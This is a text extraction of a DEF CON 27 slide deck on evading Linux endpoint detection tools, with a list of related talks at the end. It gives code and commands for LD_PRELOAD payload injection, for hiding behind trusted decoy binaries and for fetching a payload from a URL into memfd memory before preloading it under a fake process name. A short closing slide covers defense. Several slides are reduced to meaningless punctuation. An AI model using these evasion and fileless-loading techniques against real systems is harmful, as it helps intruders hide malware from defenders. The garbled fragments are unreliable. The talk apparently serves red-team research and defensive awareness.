SlideShare a Scribd company logo
Practical Tips for Playing Hide and Seek with Linux EDRs
DEFCON 27
@Op_Nomad
Zombie Ant Farm
! !
!!
$ who –m
Dimitry Snezhkov
• Technologist
• Member of the X-Force Red Team
ü hacking
ü tools, research
ü all things offensive
@Op_Nomad
github.com/dsnezhkov
Linux Offense: The Context
Linux matters
• It runs 90% of cloud workloads.
• Attacks bypass office networks and land directly in the backend.
• Attacks follows maximum ROI (access to data or computing resources).
• Linux Adversarial efforts may be focused and targeted.
• Defense follows the attacker.
Endpoint Detection and Response (EDR) solutions appear in Linux.
• Operators have to respond
Linux EDRs - A Case of a Mistaken Identity
• Pure play EDR products
• Heuristic engine in Antivirus
• Security Automation toolkits
• Deployment / Patch Management
• Side gig for app whitelisting solutions
• As features of DLP products
• Home grown monitoring frameworks
• Tool assisted Threat Hunting.
“Who in the world am I? Ah, that's the great puzzle.”
No, you are
not…
Have a good
day.
Blue
I am in yourLinux
box…
Operator has to address:
• Initial foothold mechanism viability. Immediate detection.
• Logging of activities, delayed interception and analysis.
• Behavioral runtime patterns that trigger heuristics.
• Persistent readiness for the long haul.
• Evade Automation
• Deflect tool assisted threat hunting
• Proactive Supervision Context
• Quiet boxes. Reliance on behavioral anomaly.
• Locked down boxes. Reliance on known policy enforcement.
• Peripheral sensors, honeypots.
Linux Offense: Strategic Sketches
Operational evasion:
• Operationally shut down EDRs.
• Directly exploit EDRs.
• Blind EDR reporting and response.
• Operationally confuse EDRs
Targeted behavior evasion:
• Target execution confusion.
• Bypass EDR detection with novel ways of target exploitation
• Deflect artifact discovery by Manual or Tool Assisted Threat hunting.
Strategic Goals and Objectives, Distilled
• Choice: Drop ready offensive tools on the target
Ø May be outright detected. The unknown unknown.
• Choice: Develop offensive tools on the target.
Ø May not have tooling, footprint of presence, noise increases.
• Choice: Utilization principle, aka “Living off the land”
Ø May not be possible in the proactive supervision context.
Strategic Goals and Objectives, Distilled
• Need a viable path to building Linux malware in the face of EDRs:
• Evade detection at target runtime.
• Hide and serve payloads in an unpredictable ways to counter “the story”.
Strategic Goals and Objectives, Distilled
Assembled Attack: A blended approach to break the consistent story.
Idea A: Bring in clean instrumented malware cradles.
Build iterative capabilities.
Idea B: Turn good binaries into instrumented malware cradles.
Use them as decoys.
Tactical Goals and Objectives, Sketches
Stage I: Build out Offensive Primitives
• Indiscriminate “preload and release” of legitimate binaries at runtime.
• Preload library chaining,
"split/scatter/assemble” of payload features.
• Delayed payload triggers and features at runtime.
• Rapid payload delivery mechanism prototypes with instrumented cradles.
Tactical Goals and Objectives, Sketches
Stage II: Weaponize and Operationalize Offensive Capabilities
• Payload brokers, “Preload-as-a-service”. Inter-process and remote
payload loading and hosting
• Process mimicry and decoys
• Library preloading in novel ways over memory.
Stage I: Offensive Primitives
• Basics of Offensive Dynamic Linking an Loading
• Prototyping Offensive Mechanisms
• Discussing Offensive Tradeoffs
Linker wires up dynamic locations
of needed libraries specified in the image.
Dynamic Link Loading: The Basics
ELF
$ ./executable
Error loading libctx.so
The Basics of Dynamic Link Loading
$ LD_DEBUG=libs LD_LIBRARY_PATH=./lib executable
107824: find library=libctx.so.1 [0]; searching
107824: Found file=./lib/libctx.so.1
“Hello World!”
$ ldd executable
libctx.so.1 => not found
$ readelf -d executable
0x0000000000000001 (NEEDED) Shared library: [libctx.so.1]
Execution Error: Dynamic dependency not found…
Where is the dependency?
Dependency is resolved!
Dynamic ELF Hooking: The Basics
Hook
Redefine and reroute KNOWN function entry points
Generic Dynamic API Hooking Tradeoffs
We are are implementing an API detour to execute foreign logic.
Challenges:
• Need to know the details of target API
FILE *fopen(const char *pathname, const char *mode);
• Invoke and avoid detection. Opsec. Known signatures for known exploits.
• Interoperate with the target binary in a clean fashion without crashing it.
• Assumption inspection tooling availability on target.
New ideas: Viability Check
Tip: Be more agnostic to the specifics of any single API in the binary.
Tip: Do not subvert the target. Instead:
• Compel it to execute malicious code
• Use it as a decoy.
• If you can start a process you
likely own the entire bootstrap of this process
• Preload the payload generically into a known target and
release for execution?
• Expand malware features by bringing other modules out of band.
• EDR sees the initial clean cradle, malware module loading is delayed.
• EDR sees the code executing by approved system binaries in the process table,
trusts the integrity of the known process.
• EDR may not fully trace inter-process data handoff
• preloaded malware calls on external data interchange
• memory resident executables and shared libraries
Parent / Child process relationships in Linux are transitive. We take advantage of this.
• If you can start the parent process, you fully own its execution resources,
and the resources of its progeny
Offensive Strategy: Desired Outcomes
Primitives for Working with Offensive Preloading
What we Want
0x0 - ELF ABI Level : .INIT/.FINI/.PREINIT
.INIT
MAIN
.FINI
__attribute__((section(".init_array"), used))
static typeof(init) *init_p = init;
__attribute__((section(".fini_array"), used))
static typeof(fini) *fini_p = fini;
__attribute__((section(".preinit_array"), used))
. .. main() . . .
, . .
0x1 – C runtime level : __libc_start_main
main_orig = main;
typeof(&__libc_start_main) orig =
dlsym(RTLD_NEXT, "__libc_start_main");
return orig(main_hook, argc, argv, init, fini,
rtld_fini, stack_end);
Is it optimal?
0x2 – Linker Level: Weakrefs
ü Controlled Weak Refs
ü Foreign Weak Refs
ü Chained Weak Refs
void debug() __attribute__((weak));
void debug(){
if (mstat)
mstat();
}
$ nm --dynamic /bin/ls | grep 'w '
w __cxa_finalize
w __gmon_start__
void mstat(){
;
}
Chain1.so
Chain2.so
void main(){
if (debug)
debug();
}
LD_PRELOAD=chain1.so:chain2.so
, ) ) , ,) , ) , " )
• , , ) ,
• .) , ) ( , ) ,
• ) , ) , ) ) ,
• , ) , )
0x3 - .CTOR/.DTOR __attribute__((constructor (P)))
void before_main(void) __attribute__((constructor ));
void after_main(void) __attribute__((destructor ));
void before_main(void) __attribute__((constructor (101)));
void after_main(void) __attribute__((destructor(65534)));
0x5 - Signals, Exceptions, Fault branching
Let’s keep breaking the EDR "story" of execution that leads to a confirmed IoC
ü Out of Band
signals.
ü Fault Branching
ü Self-triggered fault
recovery
ü Exception
Handlers
ü Timed execution
void fpe_handler(int signal, siginfo_t *w,
void *a)
{
printf("In SIGFPE handlern");
siglongjmp(fpe_env, w->si_code);
}
$LD_PRELOAD=lib/libinterrupt.so bin/ls
Trigger SIGFPE handler
In SIGFPE handler
1 / 0: caught division by zero!
Executing payloads here ...
• Rootkit style LD_PRELOAD cleanup (proc)
• Obfuscation (compile time)
• Runtime Encryption (memory)
• Runtime situational checks
• Better context mimicry
• Access to EDRs to prove the exact primitives
• No “main” no pain?
• Alternative loaders
0x6 - Back to Basics: Protecting Payloads
int _(void);
void __data_frame_e()
{
int x = _();
exit(x);
}
int _() {}
// Dynamic assignment to .interp section:
const char my_interp[] __attribute__((section(".interp"))) =
"/usr/local/bin/gelfload-ld-x86_64";
Expanding and Scaling the Evasion Capabilities
We now have some evasion primitives to work with. Nice.
Let’s expand the evasion.
Highlights:
• Target utilization.
• Hiding from EDRs via existing trusted binary decoys.
• Dynamic scripting capabilities in the field.
• Progressive LD_PRELOAD command line evasion.
• Malware preloaders with self-preservation instincts.
Utilization: Out of the Box Decoys
HOW MANY TIMES CAN YOUR PROCESS REGEX FAIL
• System binaries that run other binaries.
• Great decoys already exist on many Linux systems.
• ld.so is a loader that can run executables directly as parameters.
ld.so is always approved (known good)
• busybox meta binary is handy.
Combine the two to escape process pattern matching defensive engines?
Bounce off something trusted and available to break the path of analysis
3 ,. 3 . , ,
$ LD_PRELOAD=payload.so
/lib64/ld-linux-x86-64.so.2 /bin/busybox run-parts --regex '^main_.*$' ./bin/
3 4 , 3
$ mkdir /tmp/shadowrun; ln -s /bin/ls /tmp/shadowrun/ls;
LD_PRELOAD=payload.so
/lib64/ld-linux-x86-64.so.2 /bin/busybox run-parts /tmp/shadowrun/
2,3 3 1 , 3 3 311
echo | LD_PRELOAD=payload.so
/lib64/ld-linux-x86-64.so.2 /bin/busybox timeout 1000 /bin/ls
, 3, 3 .2 , 2 3 .2
$ LD_PRELOAD=payload.so
/lib64/ld-linux-x86-64.so.2
vi -ensX $(/bin/busybox mktemp) -c ':1,$d' -c ':silent !/bin/ls' -c ':wq'
Utilization: Out of the Box Decoys (Cont.)
Second Order Evasion Capabilities
Interface with a higher level code for greater evasion.
Rapid prototyping and development of modular malware.
• speed of development
• better upgrades
• memory safety
ü Offense to retool quickly on the target box.
ü "evade into reflection”.
Faced with dynamic code EDRs get lost in reflection tracing a call chain to a verified IoC.
ü Extend malware into preloading code from dynamic languages with decent FFI
0x6A: Hiding Behind Reflective Mirrors
package main
import "C"
import (
"fmt"
)
var count int
//export Entry
func Entry(msg string) int {
fmt.Println(msg)
return count
}
func main() { // don’t care, or wild goose chase }
go build -o shim.so -buildmode=c-shared shim.go
DFIR: Reverse 2059 functions as a starting point ...
0x6B: Escape to Dynamic Code: Interpreters
#include <lua.h>
#include <lauxlib.h>
#include <lualib.h>
int main(int argc, char** argv)
{
lua_State *L;
L = luaL_newstate();
luaL_openlibs(L);
/* Load the Lua script */
if (luaL_loadfile(L, argv[1]))
/* Run Lua script */
lua_pcall(L, 0, 0, 0)
lua_close(L);
}
$LD_LIBRARY_PATH=.
LD_PRELOAD=./liblua.so
./invoke_lua hello.lua
Main() is nothing more than a preloaded
constructor at this point
• EDRs lose trail if you
escape out to scripting
• start loading other libraries at runtime.
Pro-tip: Use it as another abstraction layer,
e.g. socket out or pipe to another process
hosting additional payloads
Summary: Ain’t No Primitive Primitives.
Stage II: Weaponizing and Operationalizing Payloads
ü Uber preloaders
ü Inline Parameterized Command Evasion.
ü Memory-resident Malware Modules.
ü Modular Malware Payload Warehouses
ü Remote module loads
ü Utilizable loaders
Uber preloaders
__attribute__((constructor)) static void
_mctor(int argc, char **argv, char** envp)
{
// Save pointers to argv/argc/envp
largv=argv;
largc=argc;
lenvp=envp;
lenvp_start=envp; /* code here */
}
• . .
• .
.
$LD_PRELOAD=./lib/libctx.so.1 /bin/ls <preloader_arguments>
Uber Preloaders
$
LD_BG="false" LD_PCMD="r:smtp" LD_MODULE="./lib/shim.so” LD_MODULE_ARGS="hello" 
LD_PRELOAD=./lib/libctx.so.1 /bin/ls
Uber Preloaders
// resolve Entry symbol
int (*entry)(char *) = dlsym(handle, "Entry");
//pass arguments along if any
if ( (modload_args_t = (char*) getenv("LD_MODULE_ARGS")) != NULL ){
modload_args = strdup(modload_args_t);
modload_args_len = strlen(modload_args);
}
Chains may still
• dlopen() a module or use weak references
• Adhere to API contracts
• Implement Process mimicry and decoys
• Switch on IPC communication and data signaling
• Clean out artifacts (a la rootkit)
// Call FFI stack
Memory-resident malware modules
One small problem: those modules are files.
• On disk.
• Scannable and inspectable by EDRs.
• And admins.
Sometimes it’s OK (EDR identity crisis). We still want flexibility.
The way to fix that is to
load modules in memory. OS is happy
execute them from memory. OS is not happy. Let’s make it happy.
Memory-resident malware modules
Several ways to operate files in shared memory in Linux:
• tmpfs filesystem (via /dev/shm), if mounted; have to be root to mount
others.
• POSIX shared memory, memory mmap()'d files.
o Some, you cannot obtain execution of code from.
o Others, do not provide you fully memory based abstraction, leaving a file
path visible for inspection.
Kernel 3.17 Linux gained a system call memfd_create(2) (sys_356/319)
Memory-resident malware modules
shm_fd = memfd_create(s, MFD_ALLOW_SEALING);
if (shm_fd < 0) {
log_fatal("memfd_create() error");
}
• 3 , ) 3 (
• 3 () ( 3
3 readlink(3) 3
• 3 ) 3 3
Uber preloader PID 56417, Meet your Volatile Memory
LD_PCMD="r:smtp" LD_MODULE="./lib/shim.so" LD_MODULE_ARGS="hello"
LD_PRELOAD=./lib/libctx.so.1 /bin/ls
LD_PCMD="r:smtp" LD_MODULE=“/proc/56417/fd/3" LD_MODULE_ARGS="hello"
LD_PRELOAD=./lib/libctx.so.1 /bin/ls
56417
!
"
What we have
What we want
Inspiration: A Natural phenomenon
Weapons of Mass Infection ++
ZAF - Zombie Ant Farm
• / . .
• . , / /
• // . . / / .
• , / . / /
,. ,
ZAF Module Loader and Payload Driver
• Fetches remote payloads and stores them in
memory.
• Runs an in-memory list of available modules,
opens payloads to all local preloaders.
• Has OS evasion and self-preservation instincts.
• Can mimic a specified process name.
• At the request of an operator
de-stages malware modules.
LD_MODULE="/proc/56417/fd/3"
LD_PRELOAD=./libctx.so.1 /bin/ls
• Take payload from ZAF process memory space
• Reference payload via Uber-Preloader,
• Preload payload (or chain) into the target
ZAF + Preloader Synergy
56417
1st order shim
2nd order shim
56417 - ZAF Memory space holding payloads
ZAF Broker Operational Summary
1
3
2
Preloaded shims or
subverted system exec
Uber Preloader pipeline
ZAF Payload Broker Service
PyPreload: Operationalizing Dynamic Preload Cradles
. . . ,
. . . . .
. . , memfd_create() ctypes .
os.write(getMemFd, urllib2.urlopen(url))
def getMemFd(seed):
if ctypes.sizeof(ctypes.c_voidp) == 4:
NR_memfd_create = 356
else:
NR_memfd_create = 319
modMemFd = ctypes.CDLL(None).syscall(NR_memfd_create,seed,1)
modMemPath = "/proc/" + str(os.getpid()) + "/fd/" + str(modMemFd)
PyPreload: Cradle + (Decoy / Mimicry) + Memory
$ pypreload.py -t so -l
http://127.0.0.1:8080/libpayload.so -d bash -c /bin/ls
Note: bash here is the decoy for the process name we use for the process
table, we do not use any bash functionality. “Bash” just looks good for
Threat hunters.
56417 pts/6 S+ 0:00 | | | _ bash
56418 pts/6 S+ 0:00 | | | _ /bin/ls
bash . ls
$ pypreload.py -t bin -l http://127.0.0.1:8080/zaf -d bash
$ ls -l /proc/56509/fd/
lr-x------ 1 root root 64 Feb 17 18:08 0 -> /dev/null
l-wx------ 1 root root 64 Feb 17 18:08 1 -> /dev/null
lrwx------ 1 root root 64 Feb 17 18:08 2 -> /dev/null
lrwx------ 1 root root 64 Feb 17 18:08 3 -> '/memfd:fa37Jn
(deleted)'
lrwx------ 1 root root 64 Feb 17 18:08 5 -> 'socket:[3479923]'
56880 18:26:52.395703 memfd_create("R6YP4OOR", MFD_CLOEXEC) = 3
56884 18:26:52.586221 readlink("/proc/self/exe", "/memfd:R6YP4OOR (deleted)", 4096) = 25
56886 18:26:52.632680 memfd_create("fa37Jn", MFD_CLOEXEC) = 4
Strace sees:
File Descriptors of the preload cradle
PyPreload: Cradle + (Decoy / Mimicry) + Memory + ZAF
( , )( 2 - ) ,
ZAF + Dynamic FileLess Loader Operational Summary
2
1
4
3
1. ASLR at-start weakening
• Weaken targets via predictable memory addresses
• Load to static address or an artificial code cave.
Linux execution domains <sys/personality.h>
ADDR_NO_RANDOMIZE (since Linux 2.6.12)
Parent -> set personality -> Fork() -> UNRANDOMIZED process
2. Cross Memory Attach
• Artificial Code Caves
• IPC evasion (User to User space vs. User to Kernel to User space)
process_vm_readv(), process_vm_writev()
Additional Tips and Research Roadmap
Additional Tips and Research Roadmap
Additional Tips and Research Roadmap
Offensive Summary
ü Preloading is a viable path to evasion via system executables.
ü Bring clean cradles to build on, or use executables on the target as decoys.
ü Use assembled attack. Split/Scatter/Assemble techniques vs. EDRs.
ü Out-of-process payload delivery is sometimes what you need.
“Preloader-as-a-Service” over memory is possible.
ü C FFI is the common denominator for interop on Linux, and can be used
for evasion.
ü Don’t kill a fly with a sword (even though you know you want to).
But do turn chopsticks into swords when needed.
ü Protect your payloads and payload delivery mechanisms.
https://github.com/dsnezhkov/zombieantCode:
What can the Defense do?
• Start implementing Linux capabilities.
• Define clearly what EDRs will and can do for you.
• Use provided ideas for manual threat hunting.
• Optics into /proc.
• Optics into dynamic loading, memfd().
• Optics into IPC
• Optics into process library load
• Start thinking more about proactive contextual supervision.
EOF
SYN & ACK?
Thank you!
!
!
!
!
Useful Links (Thanks!)
https://x-c3ll.github.io/posts/fileless-memfd_create/
https://0x00sec.org/t/super-stealthy-droppers/3715
https://github.com/lattera/glibc/blob/master/csu/gmon-start.c
https://github.com/dvarrazzo/py-setproctitle/tree/master/src
https://haxelion.eu/article/LD_NOT_PRELOADED_FOR_REAL/
https://gist.github.com/apsun/1e144bf7639b22ff0097171fa0f8c6b1

More Related Content

What's hot

CNIT 126 12: Covert Malware Launching
CNIT 126 12: Covert Malware LaunchingCNIT 126 12: Covert Malware Launching
CNIT 126 12: Covert Malware Launching
Sam Bowne
 
Abusing Adobe Reader’s JavaScript APIs by Abdul-Aziz Hariri & Brian Gorenc - ...
Abusing Adobe Reader’s JavaScript APIs by Abdul-Aziz Hariri & Brian Gorenc - ...Abusing Adobe Reader’s JavaScript APIs by Abdul-Aziz Hariri & Brian Gorenc - ...
Abusing Adobe Reader’s JavaScript APIs by Abdul-Aziz Hariri & Brian Gorenc - ...
CODE BLUE
 
Fuzzing the Media Framework in Android
Fuzzing the Media Framework in AndroidFuzzing the Media Framework in Android
Fuzzing the Media Framework in Android
E Hacking
 
Automated In-memory Malware/Rootkit Detection via Binary Analysis and Machin...
Automated In-memory Malware/Rootkit  Detection via Binary Analysis and Machin...Automated In-memory Malware/Rootkit  Detection via Binary Analysis and Machin...
Automated In-memory Malware/Rootkit Detection via Binary Analysis and Machin...
Malachi Jones
 
Packers
PackersPackers
One-Byte Modification for Breaking Memory Forensic Analysis
One-Byte Modification for Breaking Memory Forensic AnalysisOne-Byte Modification for Breaking Memory Forensic Analysis
One-Byte Modification for Breaking Memory Forensic Analysis
Takahiro Haruyama
 
Practical Malware Analysis Ch12
Practical Malware Analysis Ch12Practical Malware Analysis Ch12
Practical Malware Analysis Ch12
Sam Bowne
 
Injection on Steroids: Codeless code injection and 0-day techniques
Injection on Steroids: Codeless code injection and 0-day techniquesInjection on Steroids: Codeless code injection and 0-day techniques
Injection on Steroids: Codeless code injection and 0-day techniques
enSilo
 
Practical Malware Analysis: Ch 10: Kernel Debugging with WinDbg
Practical Malware Analysis: Ch 10: Kernel Debugging with WinDbgPractical Malware Analysis: Ch 10: Kernel Debugging with WinDbg
Practical Malware Analysis: Ch 10: Kernel Debugging with WinDbg
Sam Bowne
 
Typhoon Managed Execution Toolkit
Typhoon Managed Execution ToolkitTyphoon Managed Execution Toolkit
Typhoon Managed Execution Toolkit
Dimitry Snezhkov
 
Anti Debugging
Anti DebuggingAnti Debugging
Anti-Debugging - A Developers View
Anti-Debugging - A Developers ViewAnti-Debugging - A Developers View
Anti-Debugging - A Developers View
Tyler Shields
 
Malicious File for Exploiting Forensic Software
Malicious File for Exploiting Forensic SoftwareMalicious File for Exploiting Forensic Software
Malicious File for Exploiting Forensic Software
Takahiro Haruyama
 
Unpack your troubles*: .NET packer tricks and countermeasures
Unpack your troubles*: .NET packer tricks and countermeasuresUnpack your troubles*: .NET packer tricks and countermeasures
Unpack your troubles*: .NET packer tricks and countermeasures
ESET
 
An Abusive Relationship with AngularJS by Mario Heiderich - CODE BLUE 2015
An Abusive Relationship with AngularJS by Mario Heiderich - CODE BLUE 2015An Abusive Relationship with AngularJS by Mario Heiderich - CODE BLUE 2015
An Abusive Relationship with AngularJS by Mario Heiderich - CODE BLUE 2015
CODE BLUE
 
Buffer Overflow Attacks
Buffer Overflow AttacksBuffer Overflow Attacks
Buffer Overflow Attacks
securityxploded
 
Fast and Generic Malware Triage Using openioc_scan Volatility Plugin
Fast and Generic Malware Triage Using openioc_scan Volatility PluginFast and Generic Malware Triage Using openioc_scan Volatility Plugin
Fast and Generic Malware Triage Using openioc_scan Volatility Plugin
Takahiro Haruyama
 
Volatile IOCs for Fast Incident Response
Volatile IOCs for Fast Incident ResponseVolatile IOCs for Fast Incident Response
Volatile IOCs for Fast Incident Response
Takahiro Haruyama
 
Isolating the Ghost in the Machine: Unveiling Post Exploitation Threatsrsac
Isolating the Ghost in the Machine:  Unveiling Post Exploitation ThreatsrsacIsolating the Ghost in the Machine:  Unveiling Post Exploitation Threatsrsac
Isolating the Ghost in the Machine: Unveiling Post Exploitation Threatsrsac
Priyanka Aash
 
Defeating firefox by Muneaki Nishimunea - CODE BLUE 2015
Defeating firefox by Muneaki Nishimunea - CODE BLUE 2015Defeating firefox by Muneaki Nishimunea - CODE BLUE 2015
Defeating firefox by Muneaki Nishimunea - CODE BLUE 2015
CODE BLUE
 

What's hot (20)

CNIT 126 12: Covert Malware Launching
CNIT 126 12: Covert Malware LaunchingCNIT 126 12: Covert Malware Launching
CNIT 126 12: Covert Malware Launching
 
Abusing Adobe Reader’s JavaScript APIs by Abdul-Aziz Hariri & Brian Gorenc - ...
Abusing Adobe Reader’s JavaScript APIs by Abdul-Aziz Hariri & Brian Gorenc - ...Abusing Adobe Reader’s JavaScript APIs by Abdul-Aziz Hariri & Brian Gorenc - ...
Abusing Adobe Reader’s JavaScript APIs by Abdul-Aziz Hariri & Brian Gorenc - ...
 
Fuzzing the Media Framework in Android
Fuzzing the Media Framework in AndroidFuzzing the Media Framework in Android
Fuzzing the Media Framework in Android
 
Automated In-memory Malware/Rootkit Detection via Binary Analysis and Machin...
Automated In-memory Malware/Rootkit  Detection via Binary Analysis and Machin...Automated In-memory Malware/Rootkit  Detection via Binary Analysis and Machin...
Automated In-memory Malware/Rootkit Detection via Binary Analysis and Machin...
 
Packers
PackersPackers
Packers
 
One-Byte Modification for Breaking Memory Forensic Analysis
One-Byte Modification for Breaking Memory Forensic AnalysisOne-Byte Modification for Breaking Memory Forensic Analysis
One-Byte Modification for Breaking Memory Forensic Analysis
 
Practical Malware Analysis Ch12
Practical Malware Analysis Ch12Practical Malware Analysis Ch12
Practical Malware Analysis Ch12
 
Injection on Steroids: Codeless code injection and 0-day techniques
Injection on Steroids: Codeless code injection and 0-day techniquesInjection on Steroids: Codeless code injection and 0-day techniques
Injection on Steroids: Codeless code injection and 0-day techniques
 
Practical Malware Analysis: Ch 10: Kernel Debugging with WinDbg
Practical Malware Analysis: Ch 10: Kernel Debugging with WinDbgPractical Malware Analysis: Ch 10: Kernel Debugging with WinDbg
Practical Malware Analysis: Ch 10: Kernel Debugging with WinDbg
 
Typhoon Managed Execution Toolkit
Typhoon Managed Execution ToolkitTyphoon Managed Execution Toolkit
Typhoon Managed Execution Toolkit
 
Anti Debugging
Anti DebuggingAnti Debugging
Anti Debugging
 
Anti-Debugging - A Developers View
Anti-Debugging - A Developers ViewAnti-Debugging - A Developers View
Anti-Debugging - A Developers View
 
Malicious File for Exploiting Forensic Software
Malicious File for Exploiting Forensic SoftwareMalicious File for Exploiting Forensic Software
Malicious File for Exploiting Forensic Software
 
Unpack your troubles*: .NET packer tricks and countermeasures
Unpack your troubles*: .NET packer tricks and countermeasuresUnpack your troubles*: .NET packer tricks and countermeasures
Unpack your troubles*: .NET packer tricks and countermeasures
 
An Abusive Relationship with AngularJS by Mario Heiderich - CODE BLUE 2015
An Abusive Relationship with AngularJS by Mario Heiderich - CODE BLUE 2015An Abusive Relationship with AngularJS by Mario Heiderich - CODE BLUE 2015
An Abusive Relationship with AngularJS by Mario Heiderich - CODE BLUE 2015
 
Buffer Overflow Attacks
Buffer Overflow AttacksBuffer Overflow Attacks
Buffer Overflow Attacks
 
Fast and Generic Malware Triage Using openioc_scan Volatility Plugin
Fast and Generic Malware Triage Using openioc_scan Volatility PluginFast and Generic Malware Triage Using openioc_scan Volatility Plugin
Fast and Generic Malware Triage Using openioc_scan Volatility Plugin
 
Volatile IOCs for Fast Incident Response
Volatile IOCs for Fast Incident ResponseVolatile IOCs for Fast Incident Response
Volatile IOCs for Fast Incident Response
 
Isolating the Ghost in the Machine: Unveiling Post Exploitation Threatsrsac
Isolating the Ghost in the Machine:  Unveiling Post Exploitation ThreatsrsacIsolating the Ghost in the Machine:  Unveiling Post Exploitation Threatsrsac
Isolating the Ghost in the Machine: Unveiling Post Exploitation Threatsrsac
 
Defeating firefox by Muneaki Nishimunea - CODE BLUE 2015
Defeating firefox by Muneaki Nishimunea - CODE BLUE 2015Defeating firefox by Muneaki Nishimunea - CODE BLUE 2015
Defeating firefox by Muneaki Nishimunea - CODE BLUE 2015
 

Similar to DEF CON 27 - DIMITRY SNEZHKOV - zombie ant farm practical tips

Eusecwest
EusecwestEusecwest
Eusecwest
zynamics GmbH
 
EMBA Firmware analysis - TROOPERS22
EMBA Firmware analysis - TROOPERS22EMBA Firmware analysis - TROOPERS22
EMBA Firmware analysis - TROOPERS22
MichaelM85042
 
On non existent 0-days, stable binary exploits and
On non existent 0-days, stable binary exploits andOn non existent 0-days, stable binary exploits and
On non existent 0-days, stable binary exploits and
Alisa Esage Шевченко
 
Esage on non-existent 0-days, stable binary exploits and user interaction
Esage   on non-existent 0-days, stable binary exploits and user interactionEsage   on non-existent 0-days, stable binary exploits and user interaction
Esage on non-existent 0-days, stable binary exploits and user interaction
DefconRussia
 
Vulnerability, exploit to metasploit
Vulnerability, exploit to metasploitVulnerability, exploit to metasploit
Vulnerability, exploit to metasploit
Tiago Henriques
 
Secure Coding in C/C++
Secure Coding in C/C++Secure Coding in C/C++
Secure Coding in C/C++
Dan-Claudiu Dragoș
 
Piratng Avs to bypass exploit mitigation
Piratng Avs to bypass exploit mitigationPiratng Avs to bypass exploit mitigation
Piratng Avs to bypass exploit mitigation
Priyanka Aash
 
AV Evasion with the Veil Framework
AV Evasion with the Veil FrameworkAV Evasion with the Veil Framework
AV Evasion with the Veil Framework
VeilFramework
 
Demystifying Binary Reverse Engineering - Pixels Camp
Demystifying Binary Reverse Engineering - Pixels CampDemystifying Binary Reverse Engineering - Pixels Camp
Demystifying Binary Reverse Engineering - Pixels Camp
André Baptista
 
Un) fucking forensics
Un) fucking forensicsUn) fucking forensics
Un) fucking forensics
Shane Macaulay
 
NSC #2 - D3 02 - Peter Hlavaty - Attack on the Core
NSC #2 - D3 02 - Peter Hlavaty - Attack on the CoreNSC #2 - D3 02 - Peter Hlavaty - Attack on the Core
NSC #2 - D3 02 - Peter Hlavaty - Attack on the Core
NoSuchCon
 
Understanding & analyzing obfuscated malicious web scripts by Vikram Kharvi
Understanding & analyzing obfuscated malicious web scripts by Vikram KharviUnderstanding & analyzing obfuscated malicious web scripts by Vikram Kharvi
Understanding & analyzing obfuscated malicious web scripts by Vikram Kharvi
Cysinfo Cyber Security Community
 
The Hacking Games - Operation System Vulnerabilities Meetup 29112022
The Hacking Games - Operation System Vulnerabilities Meetup 29112022The Hacking Games - Operation System Vulnerabilities Meetup 29112022
The Hacking Games - Operation System Vulnerabilities Meetup 29112022
lior mazor
 
Reverse engineering
Reverse engineeringReverse engineering
Reverse engineering
Saswat Padhi
 
Wielding a cortana
Wielding a cortanaWielding a cortana
Wielding a cortana
Will Schroeder
 
Dynamic Languages in Production: Progress and Open Challenges
Dynamic Languages in Production: Progress and Open ChallengesDynamic Languages in Production: Progress and Open Challenges
Dynamic Languages in Production: Progress and Open Challenges
bcantrill
 
Advanced SOHO Router Exploitation XCON
Advanced SOHO Router Exploitation XCONAdvanced SOHO Router Exploitation XCON
Advanced SOHO Router Exploitation XCON
Lyon Yang
 
Practical IoT Exploitation (DEFCON23 IoTVillage) - Lyon Yang
Practical IoT Exploitation (DEFCON23 IoTVillage) - Lyon YangPractical IoT Exploitation (DEFCON23 IoTVillage) - Lyon Yang
Practical IoT Exploitation (DEFCON23 IoTVillage) - Lyon Yang
Lyon Yang
 
Docker Security
Docker SecurityDocker Security
Docker Security
antitree
 
ANALYZE'15 - Bulk Malware Analysis at Scale
ANALYZE'15 - Bulk Malware Analysis at ScaleANALYZE'15 - Bulk Malware Analysis at Scale
ANALYZE'15 - Bulk Malware Analysis at Scale
John Bambenek
 

Similar to DEF CON 27 - DIMITRY SNEZHKOV - zombie ant farm practical tips (20)

Eusecwest
EusecwestEusecwest
Eusecwest
 
EMBA Firmware analysis - TROOPERS22
EMBA Firmware analysis - TROOPERS22EMBA Firmware analysis - TROOPERS22
EMBA Firmware analysis - TROOPERS22
 
On non existent 0-days, stable binary exploits and
On non existent 0-days, stable binary exploits andOn non existent 0-days, stable binary exploits and
On non existent 0-days, stable binary exploits and
 
Esage on non-existent 0-days, stable binary exploits and user interaction
Esage   on non-existent 0-days, stable binary exploits and user interactionEsage   on non-existent 0-days, stable binary exploits and user interaction
Esage on non-existent 0-days, stable binary exploits and user interaction
 
Vulnerability, exploit to metasploit
Vulnerability, exploit to metasploitVulnerability, exploit to metasploit
Vulnerability, exploit to metasploit
 
Secure Coding in C/C++
Secure Coding in C/C++Secure Coding in C/C++
Secure Coding in C/C++
 
Piratng Avs to bypass exploit mitigation
Piratng Avs to bypass exploit mitigationPiratng Avs to bypass exploit mitigation
Piratng Avs to bypass exploit mitigation
 
AV Evasion with the Veil Framework
AV Evasion with the Veil FrameworkAV Evasion with the Veil Framework
AV Evasion with the Veil Framework
 
Demystifying Binary Reverse Engineering - Pixels Camp
Demystifying Binary Reverse Engineering - Pixels CampDemystifying Binary Reverse Engineering - Pixels Camp
Demystifying Binary Reverse Engineering - Pixels Camp
 
Un) fucking forensics
Un) fucking forensicsUn) fucking forensics
Un) fucking forensics
 
NSC #2 - D3 02 - Peter Hlavaty - Attack on the Core
NSC #2 - D3 02 - Peter Hlavaty - Attack on the CoreNSC #2 - D3 02 - Peter Hlavaty - Attack on the Core
NSC #2 - D3 02 - Peter Hlavaty - Attack on the Core
 
Understanding & analyzing obfuscated malicious web scripts by Vikram Kharvi
Understanding & analyzing obfuscated malicious web scripts by Vikram KharviUnderstanding & analyzing obfuscated malicious web scripts by Vikram Kharvi
Understanding & analyzing obfuscated malicious web scripts by Vikram Kharvi
 
The Hacking Games - Operation System Vulnerabilities Meetup 29112022
The Hacking Games - Operation System Vulnerabilities Meetup 29112022The Hacking Games - Operation System Vulnerabilities Meetup 29112022
The Hacking Games - Operation System Vulnerabilities Meetup 29112022
 
Reverse engineering
Reverse engineeringReverse engineering
Reverse engineering
 
Wielding a cortana
Wielding a cortanaWielding a cortana
Wielding a cortana
 
Dynamic Languages in Production: Progress and Open Challenges
Dynamic Languages in Production: Progress and Open ChallengesDynamic Languages in Production: Progress and Open Challenges
Dynamic Languages in Production: Progress and Open Challenges
 
Advanced SOHO Router Exploitation XCON
